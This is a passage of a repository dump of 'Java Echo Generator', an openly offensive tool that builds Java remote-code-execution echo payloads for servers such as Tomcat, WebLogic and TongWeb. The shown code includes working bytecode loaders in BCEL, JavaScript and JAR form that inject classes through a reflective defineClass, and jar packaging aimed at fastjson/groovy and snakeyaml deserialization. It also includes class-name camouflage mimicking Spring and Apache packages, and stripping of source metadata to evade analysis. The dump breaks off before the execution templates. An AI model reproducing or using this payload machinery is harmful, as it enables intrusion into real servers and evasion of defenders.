Showing preview only (222K chars total). Download the full file or copy to clipboard to get everything.
Repository: pen4uin/java-echo-generator
Branch: main
Commit: d29d9950b3c7
Files: 65
Total size: 197.5 KB
Directory structure:
gitextract_i6n13zud/
├── LICENSE
├── README.md
├── jeg-common/
│ ├── pom.xml
│ └── src/
│ └── main/
│ └── java/
│ └── jeg/
│ └── common/
│ ├── config/
│ │ ├── Config.java
│ │ └── Constants.java
│ ├── format/
│ │ ├── BASE64Formatter.java
│ │ ├── BCELFormatter.java
│ │ ├── BigIntegerFormatter.java
│ │ ├── IFormatter.java
│ │ ├── JARFormatter.java
│ │ └── JavaScriptFormatter.java
│ └── util/
│ ├── Base64Util.java
│ ├── ClassUtil.java
│ ├── FileUtil.java
│ ├── GadgetUtil.java
│ ├── HeaderUtil.java
│ ├── JavassistUtil.java
│ ├── RandomUtil.java
│ └── ReflectionUtil.java
├── jeg-core/
│ ├── pom.xml
│ └── src/
│ ├── main/
│ │ └── java/
│ │ └── jeg/
│ │ └── core/
│ │ ├── config/
│ │ │ ├── jEGConfig.java
│ │ │ └── jEGConstants.java
│ │ ├── jEGenerator.java
│ │ ├── template/
│ │ │ ├── all/
│ │ │ │ ├── DFSCmdExecTpl.java
│ │ │ │ └── DFSCodeExecTpl.java
│ │ │ ├── bes/
│ │ │ │ ├── BESCmdExecTpl.java
│ │ │ │ └── BESCodeExecTpl.java
│ │ │ ├── inforsuite/
│ │ │ │ ├── InforSuiteCmdExecTpl.java
│ │ │ │ └── InforSuiteCodeExecTpl.java
│ │ │ ├── jetty/
│ │ │ │ ├── JettyCmdExecTpl.java
│ │ │ │ └── JettyCodeExecTpl.java
│ │ │ ├── resin/
│ │ │ │ ├── ResinCmdExecTpl.java
│ │ │ │ └── ResinCodeExecTpl.java
│ │ │ ├── springmvc/
│ │ │ │ ├── SpringMVCCmdExecTpl.java
│ │ │ │ └── SpringMVCCodeExecTpl.java
│ │ │ ├── struts2/
│ │ │ │ ├── Struts2CmdExecTpl.java
│ │ │ │ └── Struts2CodeExecTpl.java
│ │ │ ├── tomcat/
│ │ │ │ ├── TomcatCmdExecTpl.java
│ │ │ │ └── TomcatCodeExecTpl.java
│ │ │ ├── tongweb/
│ │ │ │ ├── TongWebCmdExecTpl.java
│ │ │ │ └── TongWebCodeExecTpl.java
│ │ │ ├── undertow/
│ │ │ │ ├── UndertowCmdExecTpl.java
│ │ │ │ └── UndertowCodeExecTpl.java
│ │ │ ├── weblogic/
│ │ │ │ ├── WebLogicCmdExecTpl.java
│ │ │ │ └── WebLogicCodeExecTpl.java
│ │ │ └── websphere/
│ │ │ ├── WebSphereCmdExecTpl.java
│ │ │ └── WebSphereCodeExecTpl.java
│ │ └── util/
│ │ └── TemplateUtil.java
│ └── test/
│ └── java/
│ └── GeneratorTest.java
├── jeg-docs/
│ ├── 1.0.0/
│ │ └── README.md
│ └── README_EN.md
├── jeg-gui/
│ ├── pom.xml
│ └── src/
│ └── main/
│ ├── java/
│ │ └── jeg/
│ │ └── gui/
│ │ ├── form/
│ │ │ ├── jEGForm.form
│ │ │ └── jEGForm.java
│ │ ├── jEGApp.java
│ │ └── util/
│ │ ├── ComponentUtil.java
│ │ └── TextPaneUtil.java
│ └── resources/
│ ├── messages_en.properties
│ ├── messages_en.properties.bak
│ ├── messages_zh.properties
│ └── messages_zh.properties.bak
├── jeg-woodpecker/
│ ├── pom.xml
│ └── src/
│ └── main/
│ └── java/
│ └── me/
│ └── gv7/
│ └── woodpecker/
│ ├── helper/
│ │ └── jEGHelper.java
│ └── plugin/
│ └── WoodpeckerPluginManager.java
└── pom.xml
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2025 pen4uin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
<h4 align="right"><strong><a href="jeg-docs/README_EN.md">English</a></strong> | 中文 </h4>
<p align="center">
<h1 align="center">Java Echo Generator</h1>
<div align="center">
<img alt="GitHub watchers" src="https://img.shields.io/github/watchers/pen4uin/java-echo-generator?style=flat-square">
<img alt="GitHub forks" src="https://img.shields.io/github/forks/pen4uin/java-echo-generator?style=flat-square">
<img alt="GitLab Stars" src="https://img.shields.io/github/stars/pen4uin/java-echo-generator.svg?style=flat-square">
</div>
<div align="center">一款支持高度自定义的 Java 回显载荷生成工具</div>
</p>
<br>
> [!WARNING]
> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受，请勿使用此工具。
<br>
## 功能
| 中间件 | 框架 | 执行模式 | 输出格式 |
|-----------------|-----------|---------|------------|
| Tomcat | SpringMVC | Command | BASE64 |
| Resin | Struts2 | Code | BCEL |
| WebLogic | | | BIGINTEGER |
| Jetty | | | CLASS |
| WebSphere | | | JAR |
| Undertow | | | JS |
| GlassFish | | | |
| BES(宝兰德) | | | |
| InforSuite(中创) | | | |
| TongWeb(东方通) | | | |
## 编译
```shell
mvn package assembly:single
```
## 使用
**图形化**
1. 下载 jEG-GUI-1.0.0.jar 运行即可
**Woodpecker 插件**
1. 下载 jEG-Woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可
**第三方库**
1. 下载 jEG-Core-1.0.0.jar 并安装到本地 maven 仓库
```
mvn install:install-file -Dfile=jEG-Core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar
```
2. 引入自己的框架/工具的依赖中
```
<dependency>
<groupId>jeg</groupId>
<artifactId>jeg-core</artifactId>
<version>1.0.0</version>
</dependency>
```
3. 调用 API 生成需要的回显载荷即可
```
// 基本配置
jEGConfig config = new jEGConfig() {{
// 设置待回显的中间件为 tomcat
setServerType(Constants.SERVER_TOMCAT);
// 设置待执行的 payload 为命令执行回显
setModelType(Constants.MODEL_CMD);
// 设置 payload 的输出格式为 BASE64
setFormatType(Constants.FORMAT_BASE64);
// 初始化基础配置
build();
}};
// 生成 payload
jEGenerator generator = new jEGenerator(config);
System.out.println("请求头: " + config.getReqHeaderName());
System.out.println(generator.getPayload());
```
## 文档
- [jEG v1.0.0 - 高度自定义的 Java 回显生成工具](./jeg-docs/1.0.0/)
## 致谢
- https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
- https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327
- https://github.com/feihong-cs/Java-Rce-Echo
## 协议
- MIT
================================================
FILE: jeg-common/pom.xml
================================================
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jeg</groupId>
<artifactId>java-echo-generator</artifactId>
<version>${reversion}</version>
</parent>
<artifactId>jEG-common</artifactId>
<build>
<finalName>${artifactId}-${reversion}</finalName>
</build>
<dependencies>
<dependency>
<groupId>me.gv7.woodpecker</groupId>
<artifactId>woodpecker-bcel</artifactId>
<version>0.1.0</version>
</dependency>
</dependencies>
</project>
================================================
FILE: jeg-common/src/main/java/jeg/common/config/Config.java
================================================
package jeg.common.config;
public class Config {
private String serverType;
private String formatType;
private String gadgetType;
private String loaderClassName;
private String classNameInFormatter;
private byte[] classBytesInFormatter;
private String classBase64InFormatter;
public String getOutputDir() {
return outputDir;
}
public void setOutputDir(String outputDir) {
this.outputDir = outputDir;
}
private String outputDir;
public String getLoaderClassName() {
return loaderClassName;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public String getClassNameInFormatter() {
return classNameInFormatter;
}
public void setClassNameInFormatter(String classNameInFormatter) {
this.classNameInFormatter = classNameInFormatter;
}
public byte[] getClassBytesInFormatter() {
return classBytesInFormatter;
}
public void setClassBytesInFormatter(byte[] classBytesInFormatter) {
this.classBytesInFormatter = classBytesInFormatter;
}
public String getClassBase64InFormatter() {
return classBase64InFormatter;
}
public void setClassBase64InFormatter(String classBase64InFormatter) {
this.classBase64InFormatter = classBase64InFormatter;
}
public String getServerType() {
return serverType;
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public String getFormatType() {
return formatType;
}
public void setFormatType(String formatType) {
this.formatType = formatType;
}
public String getGadgetType() {
return gadgetType;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
public boolean isImplementsASTTransformationType() {
return implementsASTTransformationType;
}
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
this.implementsASTTransformationType = implementsASTTransformationType;
}
public boolean isImplementsScriptEngineFactory() {
return implementsScriptEngineFactory;
}
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
}
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
}
================================================
FILE: jeg-common/src/main/java/jeg/common/config/Constants.java
================================================
package jeg.common.config;
public interface Constants {
String FORMAT_CLASS = "CLASS";
String FORMAT_BCEL = "BCEL";
String FORMAT_JSP = "JSP";
String FORMAT_JAR = "JAR";
String FORMAT_JS = "JS";
String FORMAT_BASE64 = "BASE64";
String FORMAT_BIGINTEGER = "BIGINTEGER";
String GADGET_NONE = "NONE";
String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
String SERVER_TOMCAT = "Tomcat";
String SERVER_JETTY = "Jetty";
String SERVER_RESIN = "Resin";
String SERVER_SPRING_MVC = "SpringMVC";
String SERVER_STRUTS2 = "Struts2";
String SERVER_UNDERTOW = "Undertow";
String SERVER_WEBLOGIC = "WebLogic";
String SERVER_WEBSPHERE = "WebSphere";
String SERVER_BES = "BES";
String SERVER_INFORSUITE = "InforSuite";
String SERVER_TONGWEB = "TongWeb";
String SERVER_UNKNOWN = "Unknown";
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BASE64Formatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
public class BASE64Formatter implements IFormatter {
@Override
public byte[] transform(byte[] bytes, Config config) throws Exception {
return Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "").getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BCELFormatter.java
================================================
package jeg.common.format;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
import jeg.common.util.ClassUtil;
import jeg.common.util.JavassistUtil;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
import java.lang.reflect.Method;
public class BCELFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws IOException {
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
pool.insertClassPath(classPath);
CtClass ctClass;
byte[] bcelLoaderBytes = new byte[0];
try {
ctClass = pool.getCtClass(BCELoader.class.getName());
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
getBase64String.setBody(String.format("{return \"%s\";}", Base64Util.encodeToBase64(config.getClassBytesInFormatter())));
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInFormatter()));
ctClass.setName(ClassUtil.getRandomClassName());
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.removeSourceFileAttribute(ctClass);
bcelLoaderBytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
}
return HackBCELs.encode(bcelLoaderBytes).getBytes();
}
}
class BCELoader extends ClassLoader {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
public BCELoader() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
;
try {
classLoader.loadClass(getClassName()).newInstance();
} catch (Exception var1) {
try {
byte[] classBytes = base64Decode(getBase64String());
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke(classLoader, classBytes, 0, classBytes.length);
clazz.newInstance();
} catch (Exception var2) {
}
}
}
public static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/BigIntegerFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import java.io.IOException;
import java.math.BigInteger;
public class BigIntegerFormatter implements IFormatter {
@Override
public byte[] transform(byte[] bytes, Config config) throws IOException {
return new BigInteger(bytes).toString(36).getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/IFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
public interface IFormatter {
public byte[] transform(byte[] bytes, Config config) throws Exception;
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/JARFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws IOException {
String className = config.getClassNameInFormatter();
String jarEntryFileName = className.replace(".", "/") + ".class";
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
jarOutputStream.write(bytes);
jarOutputStream.closeEntry();
// fastjson + groovy 的利用
if (config.isImplementsASTTransformationType()) {
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
// snakeyaml + loadJar 的利用
if (config.isImplementsScriptEngineFactory()) {
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
}
return out.toByteArray();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/format/JavaScriptFormatter.java
================================================
package jeg.common.format;
import jeg.common.config.Config;
import jeg.common.util.Base64Util;
public class JavaScriptFormatter implements IFormatter {
public byte[] transform(byte[] bytes, Config config) throws Exception {
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" classLoader.loadClass(\""+ config.getClassNameInFormatter() +"\").newInstance();\n" +
"}catch (e){\n" +
" var clsString = classLoader.loadClass('java.lang.String');\n" +
" var bytecodeBase64 = \""+ Base64Util.encodeToBase64(bytes).replace("\n", "").replace("\r", "") + "\";\n" +
" var bytecode;\n" +
" try{\n" +
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
" } catch (ee) {\n" +
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
" var clsByteArray = classLoader.loadClass('[B');\n" +
" var clsInt = java.lang.Integer.TYPE;\n" +
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
"}";
return strJS.getBytes();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/Base64Util.java
================================================
package jeg.common.util;
public class Base64Util {
public static String encodeToBase64(byte[] input) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
} catch (Exception var5) {
}
}
return value;
}
public static String decodeFromBase64(String input) throws Exception {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
} catch (Exception var5) {
}
}
return new String(var2);
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/ClassUtil.java
================================================
package jeg.common.util;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
public class ClassUtil {
static String[] classNames = {
"NetworkUtils",
"KeyUtils",
"EncryptionUtils",
"SessionDataUtil",
"SOAPUtils",
"ReflectUtil",
"HttpClientUtil",
"EncryptionUtil",
"XMLUtil",
"JSONUtil",
"FileUtils",
"DateUtil",
"StringUtil",
"MathUtil",
"HttpUtil",
"CSVUtil"
};
private static final String[] packageNames = {
"org.springframework",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"com.google.gso",
"ch.qos.logback"
};
public static String generatePackageName(String[] packageNames) {
Random random = new Random();
String packageName = packageNames[random.nextInt(packageNames.length)];
return packageName;
}
public static String getRandomPackageName(String[] packageNames) {
return generatePackageName(packageNames);
}
public static String getRandomName(String[]... arrays) {
List<String> classNames = new ArrayList<>();
for (String[] array : arrays) {
for (String className : array) {
classNames.add(className);
}
}
Random random = new Random();
int index = random.nextInt(classNames.size());
return classNames.get(index);
}
public static String generateRandomString() {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(5) + 2; // 生成2-6之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
sb.append(c);
}
return sb.toString();
}
public static String getRandomClassName() {
return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
}
public static String getRandomLoaderClassName() {
return getRandomPackageName(packageNames) + "." + generateRandomString() + "." + getRandomName(classNames);
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/FileUtil.java
================================================
package jeg.common.util;
import java.io.*;
public class FileUtil {
public static void writeFile(String filePath, byte[] bytes) throws IOException {
OutputStream out = new FileOutputStream(filePath);
InputStream is = new ByteArrayInputStream(bytes);
byte[] buff = new byte[1024];
int len;
while((len = is.read(buff)) != -1) {
out.write(buff, 0, len);
}
is.close();
out.close();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/GadgetUtil.java
================================================
package jeg.common.util;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import jeg.common.config.Constants;
import jeg.common.config.Config;
public class GadgetUtil {
private Config config;
private ClassPool pool;
private CtClass modifiedClass;
public GadgetUtil(Config config, ClassPool pool, CtClass modifiedClass) {
this.config = config;
this.pool = pool;
this.modifiedClass = modifiedClass;
}
public byte[] modify() throws Exception {
byte[] classBytes = null;
if (pool != null && modifiedClass != null) {
if (config.getGadgetType().contains(Constants.GADGET_JDK_TRANSLET)) {
applyJDKAbstractTranslet();
}
if (config.getGadgetType().contains(Constants.GADGET_XALAN_TRANSLET)) {
applyXALANAbstractTranslet();
}
modifiedClass.getClassFile().setVersionToJava5();
classBytes = modifiedClass.toBytecode();
modifiedClass.defrost();
} else {
throw new Exception("pool or modifiedClass is null");
}
return classBytes;
}
public void applyJDKAbstractTranslet() throws NotFoundException, CannotCompileException {
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
modifiedClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
}
public void applyXALANAbstractTranslet() throws NotFoundException, CannotCompileException, ClassNotFoundException {
try {
pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet");
} catch (NotFoundException e) {
pool.makeClass("org.apache.xalan.xsltc.runtime.AbstractTranslet");
}
modifiedClass.setSuperclass(pool.get("org.apache.xalan.xsltc.runtime.AbstractTranslet"));
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/HeaderUtil.java
================================================
package jeg.common.util;
import java.util.Random;
public class HeaderUtil {
private static final Random RANDOM = new Random();
public static String genHeaderName(String[] keys) {
String key = genRandomKey(keys);
return key + genRandomSuffix();
}
private static String genRandomKey(String[] keys) {
return keys[RANDOM.nextInt(keys.length)];
}
private static String genRandomSuffix() {
StringBuilder sb = new StringBuilder();
int length = RANDOM.nextInt(9) + 4; // 生成4-10之间长度的随机字符串
for (int i = 0; i < length; i++) {
char c = (char) (RANDOM.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/JavassistUtil.java
================================================
package jeg.common.util;
import javassist.*;
import javassist.bytecode.AttributeInfo;
import javassist.bytecode.ClassFile;
import javassist.bytecode.SourceFileAttribute;
import java.util.List;
/**
* javassist 工具类
*/
public class JavassistUtil {
private static ClassPool pool = ClassPool.getDefault();
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
ctClass.defrost();
try {
// 已存在，修改
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
ctMethod.setBody(methodBody);
} catch (NotFoundException ignored) {
// 不存在，直接添加
CtMethod method = CtNewMethod.make(methodBody, ctClass);
ctClass.addMethod(method);
}
}
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
ctClass.defrost();
try {
CtField field = ctClass.getDeclaredField(fieldName);
ctClass.removeField(field);
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.PUBLIC);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
} catch (NotFoundException ignored) {
try {
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
defField.setModifiers(Modifier.STATIC);
ctClass.addField(defField, "\"" + fieldValue + "\"");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
// 删除 SourceFileAttribute (源文件名) 信息
public static void removeSourceFileAttribute(CtClass ctClass) {
ctClass.defrost();
ClassFile classFile = ctClass.getClassFile2();
try {
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
ReflectionUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
} catch (Exception e) {
try {
// 兼容 javassist v3.20 及以下
List<AttributeInfo> attributes = (List<AttributeInfo>) ReflectionUtil.getFV(classFile, "attributes");
removeAttribute(attributes, SourceFileAttribute.tag);
} catch (Exception ignored) {
}
}
}
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
if (attributes == null) return null;
for (AttributeInfo ai : attributes)
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
return null;
}
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addField(ctClass, fieldName, fieldValue);
}
}
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
if (fieldValue != null) {
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
}
}
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
if (className != null) {
ctClass.setName(className);
}
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/RandomUtil.java
================================================
package jeg.common.util;
import java.util.Random;
public class RandomUtil {
// 生成随机长度的字符串
public static String genRandomLengthString(int minLength) {
Random random = new Random();
StringBuilder sb = new StringBuilder();
int length = random.nextInt(16) + minLength; // 生成2-6之间的随机数
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt(26) + 'a');
if (i == 0) {
c = Character.toUpperCase(c);
}
sb.append(c);
}
return sb.toString();
}
}
================================================
FILE: jeg-common/src/main/java/jeg/common/util/ReflectionUtil.java
================================================
package jeg.common.util;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class ReflectionUtil {
public static void setFV(Object var0, String var1, Object val) throws Exception {
getF(var0, var1).set(var0, val);
}
public static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/pom.xml
================================================
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jeg</groupId>
<artifactId>java-echo-generator</artifactId>
<version>${reversion}</version>
</parent>
<artifactId>jEG-core</artifactId>
<build>
<finalName>${artifactId}-${reversion}</finalName>
</build>
<dependencies>
<dependency>
<groupId>jeg</groupId>
<artifactId>jEG-common</artifactId>
<version>${reversion}</version>
</dependency>
</dependencies>
</project>
================================================
FILE: jeg-core/src/main/java/jeg/core/config/jEGConfig.java
================================================
package jeg.core.config;
import jeg.common.config.Config;
import jeg.common.config.Constants;
import jeg.common.util.ClassUtil;
import jeg.common.util.HeaderUtil;
import jeg.common.util.RandomUtil;
import java.util.Objects;
public class jEGConfig extends Config {
public jEGConfig() {
}
